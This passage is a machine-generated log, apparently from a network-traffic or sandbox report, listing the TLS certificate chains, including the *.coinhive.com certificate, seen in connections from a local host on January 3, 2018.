5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:37:15.851953030 MEZ	443	49180	94.130.129.247	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:37:15.851953030 MEZ	443	49180	94.130.129.247	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:37:21.851695061 MEZ	443	49181	94.130.128.80	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:37:21.851695061 MEZ	443	49181	94.130.128.80	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:37:21.851695061 MEZ	443	49181	94.130.128.80	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 